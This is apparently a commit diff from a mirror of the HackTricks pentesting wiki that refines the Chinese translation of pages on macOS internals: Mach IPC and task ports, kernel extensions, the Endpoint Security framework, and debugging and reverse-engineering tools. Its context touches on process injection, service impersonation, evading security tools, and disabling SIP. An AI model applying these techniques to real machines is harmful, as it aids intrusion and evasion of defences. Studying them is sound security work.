mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
67e870b078
commit
31fe13990d
@ -27,7 +27,7 @@ XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些
|
||||
- TCP/IP 堆栈和套接字
|
||||
- 防火墙和数据包过滤
|
||||
|
||||
由于 BSD 和 Mach 之间的不同概念框架,理解它们之间的交互可能很复杂。例如,BSD 使用进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。
|
||||
由于 BSD 和 Mach 之间的不同概念框架,理解它们之间的交互可能很复杂。例如,BSD 将进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。
|
||||
|
||||
此外,**Mach 和 BSD 各自维护不同的安全模型**:**Mach 的** 安全模型基于 **端口权限**,而 BSD 的安全模型基于 **进程所有权**。这两种模型之间的差异偶尔会导致本地特权提升漏洞。除了典型的系统调用外,还有 **Mach 陷阱,允许用户空间程序与内核交互**。这些不同的元素共同构成了 macOS 内核的多面性混合架构。
|
||||
|
||||
|
||||
@ -12,11 +12,11 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
每个进程都有一个 **IPC 表**,可以在其中找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
一个进程还可以将一个端口名称和一些权限 **发送给不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。
|
||||
一个进程还可以将端口名称和一些权限 **发送到不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示此条目。
|
||||
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是 ([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
|
||||
- 拥有 **接收权限** 的 **任务** 可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
@ -39,13 +39,13 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
如前所述,为了建立通信通道,**引导服务器**(在 mac 中为 **launchd**)参与其中。
|
||||
|
||||
1. 任务 **A** 发起一个 **新端口**,在此过程中获得 **接收权限**。
|
||||
2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
2. 任务 **A** 作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,提供 **端口的服务名称** 和 **发送权限**,通过称为引导注册的过程。
|
||||
4. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。
|
||||
5. 在获得发送权限后,任务 **B** 能够 **构造** 一条 **消息** 并将其 **发送给任务 A**。
|
||||
6. 对于双向通信,通常任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便其可以向任务 B 发送消息(双向通信)。
|
||||
6. 对于双向通信,通常任务 **B** 会生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便其可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称**,然后批准每个请求。
|
||||
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称** 然后批准每个请求。
|
||||
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有 **接收权限**。
|
||||
|
||||
@ -53,7 +53,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
- 任务 **B** 发起对服务名称的引导 **查找**。
|
||||
- **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
|
||||
- 任务 **A**(服务)执行 **引导检查**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。
|
||||
- 任务 **A**(服务)执行 **引导签到**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。
|
||||
- launchd 复制 **发送权限并将其发送给任务 B**。
|
||||
- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(服务),以便其可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
@ -63,7 +63,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
[在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面是实际的消息内容。该结构定义如下:
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -89,7 +89,7 @@ mach_msg_id_t msgh_id;
|
||||
- `msgh_id`: 此消息的 ID,由接收者解释。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意 **mach 消息是通过 \_mach port\_ 发送的**,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 的通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
> 请注意 **mach 消息是通过 \_mach port**\_ 发送的,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 的通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
|
||||
### 枚举端口
|
||||
```bash
|
||||
@ -229,10 +229,10 @@ printf("Sent a message\n");
|
||||
|
||||
- **主机端口**:如果一个进程对这个端口具有 **发送** 权限,他可以获取 **系统** 的 **信息**(例如 `host_processor_info`)。
|
||||
- **主机特权端口**:一个对这个端口具有 **发送** 权限的进程可以执行 **特权操作**,如加载内核扩展。**进程需要是 root** 才能获得此权限。
|
||||
- 此外,为了调用 **`kext_request`** API,需要拥有其他权利 **`com.apple.private.kext*`**,这些权利仅授予 Apple 的二进制文件。
|
||||
- 此外,为了调用 **`kext_request`** API,需要拥有其他权限 **`com.apple.private.kext*`**,这些权限仅授予 Apple 的二进制文件。
|
||||
- **任务名称端口**:_任务端口_ 的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`。
|
||||
- **任务端口**(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。
|
||||
- 调用 `mach_task_self()` 来 **获取** 调用任务的端口名称。此端口仅在 **`exec()`** 之间 **继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中 `exec()` 后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 调用 `mach_task_self()` 来 **获取** 调用任务的端口名称。这个端口仅在 **`exec()`** 之间 **继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中 `exec()` 后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件 `AppleMobileFileIntegrity` 的 `macos_task_policy`):
|
||||
- 如果应用具有 **`com.apple.security.get-task-allow` 权限**,来自 **同一用户** 的进程可以访问任务端口(通常由 Xcode 为调试添加)。**公证** 过程不允许其用于生产版本。
|
||||
- 具有 **`com.apple.system-task-ports`** 权限的应用可以获取 **任何** 进程的 **任务端口**,除了内核。在旧版本中称为 **`task_for_pid-allow`**。这仅授予 Apple 应用。
|
||||
@ -506,7 +506,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
因此,为了**改进线程**,它应该调用**`pthread_create_from_mach_thread`**,这将**创建一个有效的pthread**。然后,这个新的pthread可以**调用dlopen**来**从系统加载一个dylib**,因此不必编写新的shellcode来执行不同的操作,而是可以加载自定义库。
|
||||
|
||||
您可以在以下位置找到**示例dylibs**(例如,生成日志的那个,然后您可以监听它):
|
||||
您可以在(例如生成日志然后您可以监听的那个)找到**示例dylibs**:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
@ -812,7 +812,7 @@ XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macO
|
||||
|
||||
## MIG - Mach 接口生成器
|
||||
|
||||
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。
|
||||
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码很丑,开发人员只需导入它,其代码将比之前简单得多。
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
|
||||
### 加载过程
|
||||
|
||||
在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序可以 **请求内核加载扩展**:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序可以 **请求内核加载扩展**:`kextcache`,`kextload`,`kextutil`,`kextd`,`syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **启动** 加载扩展的 **验证** 过程
|
||||
- 它将通过发送 **Mach 服务** 与 **`kextd`** 进行通信。
|
||||
@ -47,7 +47,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
> [!CAUTION]
|
||||
> 尽管内核扩展预计位于 `/System/Library/Extensions/` 中,但如果你去这个文件夹,你 **找不到任何二进制文件**。这是因为 **kernelcache**,为了反向工程一个 `.kext`,你需要找到获取它的方法。
|
||||
|
||||
**kernelcache** 是 **XNU 内核的预编译和预链接版本**,以及基本的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储,并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本,促进了 **更快的启动时间**,减少了在启动时动态加载和链接这些组件所需的时间和资源。
|
||||
**kernelcache** 是 **XNU 内核的预编译和预链接版本**,以及必要的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储,并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本,促进了 **更快的启动时间**,减少了在启动时动态加载和链接这些组件所需的时间和资源。
|
||||
|
||||
### Local Kerlnelcache
|
||||
|
||||
@ -58,12 +58,12 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
|
||||
#### IMG4
|
||||
|
||||
IMG4 文件格式是 Apple 在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件(如 **kernelcache**)的容器格式。IMG4 格式包括一个头部和多个标签,这些标签封装了不同的数据片段,包括实际的有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行固件组件之前确认其真实性和完整性。
|
||||
IMG4 文件格式是苹果在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件(如 **kernelcache**)的容器格式。IMG4 格式包括一个头部和几个标签,这些标签封装了不同的数据片段,包括实际的有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行固件组件之前确认其真实性和完整性。
|
||||
|
||||
它通常由以下组件组成:
|
||||
|
||||
- **有效载荷 (IM4P)**:
|
||||
- 通常被压缩(LZFSE4, LZSS, …)
|
||||
- 通常是压缩的 (LZFSE4, LZSS, …)
|
||||
- 可选加密
|
||||
- **清单 (IM4M)**:
|
||||
- 包含签名
|
||||
@ -103,7 +103,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
@ -48,7 +48,7 @@ DriverKit 是内核扩展的替代品,**提供硬件支持**。它允许设备
|
||||
|
||||
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
|
||||
|
||||
与端点安全框架的 **用户空间通信** 通过 IOUserClient 类进行。根据调用者的类型使用两种不同的子类:
|
||||
**与端点安全框架的用户空间通信** 通过 IOUserClient 类进行。根据调用者的类型使用两种不同的子类:
|
||||
|
||||
- **EndpointSecurityDriverClient**:这需要 `com.apple.private.endpoint-security.manager` 权限,仅由系统进程 `endpointsecurityd` 持有。
|
||||
- **EndpointSecurityExternalClient**:这需要 `com.apple.developer.endpoint-security.client` 权限。通常由需要与端点安全框架交互的第三方安全软件使用。
|
||||
@ -57,11 +57,11 @@ DriverKit 是内核扩展的替代品,**提供硬件支持**。它允许设备
|
||||
|
||||
**`endpointsecurityd`** 是一个关键的系统守护进程,负责管理和启动端点安全系统扩展,特别是在早期启动过程中。**只有标记为** **`NSEndpointSecurityEarlyBoot`** **的系统扩展** 在其 `Info.plist` 文件中接收这种早期启动处理。
|
||||
|
||||
另一个系统守护进程 **`sysextd`** **验证系统扩展** 并将其移动到适当的系统位置。然后,它请求相关守护进程加载扩展。**`SystemExtensions.framework`** 负责激活和停用系统扩展。
|
||||
另一个系统守护进程,**`sysextd`**,**验证系统扩展** 并将其移动到适当的系统位置。然后,它请求相关守护进程加载扩展。**`SystemExtensions.framework`** 负责激活和停用系统扩展。
|
||||
|
||||
## 绕过 ESF
|
||||
|
||||
ESF 被安全工具使用,这些工具会尝试检测红队,因此任何关于如何避免这一点的信息都很有趣。
|
||||
ESF 被安全工具使用,这些工具会尝试检测红队人员,因此任何关于如何避免这一点的信息都很有趣。
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
|
||||
@ -123,10 +123,10 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
该函数期望的参数为:
|
||||
|
||||
- 第一个参数 (**self**) 是 "指向 **接收消息的类实例的指针**"。更简单地说,它是正在调用该方法的对象。如果该方法是类方法,则这是类对象的一个实例(作为整体),而对于实例方法,self 将指向类的一个实例化对象。
|
||||
- 第二个参数 (**op**) 是 "处理消息的方法选择器"。同样,更简单地说,这只是 **方法的名称**。
|
||||
- 第二个参数 (**op**) 是 "处理消息的方法的选择器"。同样,更简单地说,这只是 **方法的名称**。
|
||||
- 剩余的参数是方法所需的任何 **值** (op)。
|
||||
|
||||
请参见如何在此页面中 **使用 `lldb` 在 ARM64 中轻松获取此信息**:
|
||||
请参见如何在 ARM64 中 **使用 `lldb` 轻松获取此信息**:
|
||||
|
||||
{{#ref}}
|
||||
arm64-basic-assembly.md
|
||||
@ -135,13 +135,13 @@ arm64-basic-assembly.md
|
||||
x64:
|
||||
|
||||
| **参数** | **寄存器** | **(对于) objc_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **第一个参数** | **rdi** | **self: 正在调用该方法的对象** |
|
||||
| **第二个参数** | **rsi** | **op: 方法的名称** |
|
||||
| **第三个参数** | **rdx** | **方法的第一个参数** |
|
||||
| **第四个参数** | **rcx** | **方法的第二个参数** |
|
||||
| **第五个参数** | **r8** | **方法的第三个参数** |
|
||||
| **第六个参数** | **r9** | **方法的第四个参数** |
|
||||
| ---------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **第一个参数** | **rdi** | **self: 正在调用该方法的对象** |
|
||||
| **第二个参数** | **rsi** | **op: 方法的名称** |
|
||||
| **第三个参数** | **rdx** | **方法的第一个参数** |
|
||||
| **第四个参数** | **rcx** | **方法的第二个参数** |
|
||||
| **第五个参数** | **r8** | **方法的第三个参数** |
|
||||
| **第六个参数** | **r9** | **方法的第四个参数** |
|
||||
| **第七个及以上参数** | <p><strong>rsp+</strong><br><strong>(在栈上)</strong></p> | **方法的第五个及以上参数** |
|
||||
|
||||
### 转储 ObjectiveC 元数据
|
||||
@ -162,13 +162,13 @@ objdump --macho --objc-meta-data /path/to/bin
|
||||
```
|
||||
#### class-dump
|
||||
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具,用于生成 ObjetiveC 格式代码中类、类别和协议的声明。
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具,用于生成 ObjetiveC 格式代码中的类、类别和协议的声明。
|
||||
|
||||
它很旧且未维护,因此可能无法正常工作。
|
||||
它已经过时且未维护,因此可能无法正常工作。
|
||||
|
||||
#### ICDump
|
||||
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比,iCDump 可以独立于 Apple 生态系统运行,并且它提供了 Python 绑定。
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比,iCDump 可以独立于 Apple 生态系统运行,并且提供 Python 绑定。
|
||||
```python
|
||||
import icdump
|
||||
metadata = icdump.objc.parse("/path/to/bin")
|
||||
@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
```
|
||||
您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
|
||||
|
||||
此外,**Swift 二进制文件可能具有符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称:
|
||||
此外,**Swift 二进制文件可能包含符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
@ -204,7 +204,7 @@ swift demangle
|
||||
## 动态分析
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并**移除签名**(`codesign --remove-signature <binary-path>`),或者允许调试该二进制文件(您可以使用 [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
> 请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并使用 `codesign --remove-signature <binary-path>` **移除签名**,或者允许调试该二进制文件(您可以使用 [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,为了在 macOS 上**插桩系统二进制文件**(例如 `cloudconfigurationd`),**必须禁用 SIP**(仅移除签名是无效的)。
|
||||
@ -222,9 +222,9 @@ macOS 暴露了一些有趣的 API,提供有关进程的信息:
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,例如 `ps`、`zprint`...
|
||||
该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,如 `ps`、`zprint`...
|
||||
|
||||
它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,例如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
|
||||
其 plist 位于 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`,声明了 3 个 MachServices:
|
||||
|
||||
@ -246,7 +246,7 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
|
||||
|
||||
#### 中间面板
|
||||
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过单击相应的图标:
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过点击相应的图标:
|
||||
|
||||
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -254,7 +254,7 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
|
||||
|
||||
<figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
此外,在**中间下方,您可以编写 python 命令**。
|
||||
此外,在**中间下方,您可以编写 Python 命令**。
|
||||
|
||||
#### 右侧面板
|
||||
|
||||
@ -262,9 +262,9 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
|
||||
|
||||
### dtrace
|
||||
|
||||
它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户能够**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。
|
||||
它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。
|
||||
|
||||
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口点**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。
|
||||
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。
|
||||
|
||||
> [!TIP]
|
||||
> 要在不完全禁用 SIP 保护的情况下启用 Dtrace,您可以在恢复模式下执行:`csrutil enable --without dtrace`
|
||||
@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
||||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果您未指定名称的某个部分,Dtrace 将将该部分应用为通配符。
|
||||
探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果您没有指定名称的某个部分,Dtrace 将将该部分应用为通配符。
|
||||
|
||||
要配置 DTrace 以激活探针并指定触发时要执行的操作,我们需要使用 D 语言。
|
||||
|
||||
@ -345,7 +345,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
|
||||
要与 `kdebug` 进行接口,使用 `sysctl` 通过 `kern.kdebug` 命名空间,使用的 MIB 可以在 `sys/sysctl.h` 中找到,相关函数在 `bsd/kern/kdebug.c` 中实现。
|
||||
|
||||
与 kdebug 进行交互的自定义客户端通常遵循以下步骤:
|
||||
要与 kdebug 进行交互,通常步骤如下:
|
||||
|
||||
- 使用 KERN_KDSETREMOVE 移除现有设置
|
||||
- 使用 KERN_KDSETBUF 和 KERN_KDSETUP 设置跟踪
|
||||
@ -361,7 +361,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
|
||||
### ktrace
|
||||
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端可以直接调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 在特定代码上设置回调,然后使用 `ktrace_start` 启动它。
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端可以直接调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 来设置特定代码的回调,然后使用 `ktrace_start` 启动它。
|
||||
|
||||
即使在 **SIP 激活** 的情况下也可以使用这个。
|
||||
|
||||
@ -373,13 +373,13 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
|
||||
### kperf
|
||||
|
||||
这用于进行内核级别的性能分析,并使用 `Kdebug` 调用构建。
|
||||
这用于进行内核级别的性能分析,使用 `Kdebug` 调用构建。
|
||||
|
||||
基本上,检查全局变量 `kernel_debug_active`,如果设置了它,则调用 `kperf_kdebug_handler`,传入 `Kdebug` 代码和调用的内核帧地址。如果 `Kdebug` 代码与所选的匹配,则获取配置为位图的“操作”(查看 `osfmk/kperf/action.h` 以获取选项)。
|
||||
|
||||
Kperf 还有一个 sysctl MIB 表: (作为 root) `sysctl kperf`。这些代码可以在 `osfmk/kperf/kperfbsd.c` 中找到。
|
||||
|
||||
此外,Kperf 的一部分功能位于 `kpc` 中,它提供有关机器性能计数器的信息。
|
||||
此外,Kperf 功能的一个子集位于 `kpc` 中,提供有关机器性能计数器的信息。
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
@ -420,7 +420,7 @@ fs_usage -w -f network curl #This tracks network actions
|
||||
|
||||
## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
在 [**这篇博客文章**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) 中,你可以找到一个关于如何 **debug a running daemon** 的示例,该守护进程使用 **`PT_DENY_ATTACH`** 来防止调试,即使 SIP 被禁用。
|
||||
在 [**这篇博客文章**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) 中,你可以找到一个关于如何 **调试一个正在运行的守护进程** 的示例,该守护进程使用 **`PT_DENY_ATTACH`** 来防止调试,即使 SIP 被禁用。
|
||||
|
||||
### lldb
|
||||
|
||||
@ -431,7 +431,7 @@ lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
您可以通过在您的主文件夹中创建一个名为 **`.lldbinit`** 的文件,并添加以下行来设置 intel 风味:
|
||||
您可以通过在您的主文件夹中创建一个名为 **`.lldbinit`** 的文件,并添加以下行来设置 intel 风格:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
@ -460,26 +460,26 @@ settings set target.x86-disassembly-flavor intel
|
||||
- 也可以通过简单的代码检查 **进程是否正在被调试**:
|
||||
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //进程正在被调试 }`
|
||||
- 它还可以调用 **`ptrace`** 系统调用,使用 **`PT_DENY_ATTACH`** 标志。这 **防止** 调试器附加和跟踪。
|
||||
- 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可能会动态导入它)
|
||||
- 正如在这篇文章中所提到的,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
- 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可以动态导入它)
|
||||
- 正如在这篇文章中所述,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
“_消息 Process # exited with **status = 45 (0x0000002d)** 通常是调试目标使用 **PT_DENY_ATTACH** 的明显迹象_”
|
||||
|
||||
## 核心转储
|
||||
|
||||
如果满足以下条件,则会创建核心转储:
|
||||
核心转储在以下情况下创建:
|
||||
|
||||
- `kern.coredump` sysctl 设置为 1(默认值)
|
||||
- 如果进程不是 suid/sgid 或 `kern.sugid_coredump` 为 1(默认值为 0)
|
||||
- `AS_CORE` 限制允许该操作。可以通过调用 `ulimit -c 0` 来抑制核心转储的创建,并通过 `ulimit -c unlimited` 重新启用它们。
|
||||
|
||||
在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,并通常存储在 `/cores/core/.%P` 中。
|
||||
在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,通常存储在 `/cores/core/.%P` 中。
|
||||
|
||||
## 模糊测试
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含可以 **帮助开发人员诊断** 崩溃原因的信息。\
|
||||
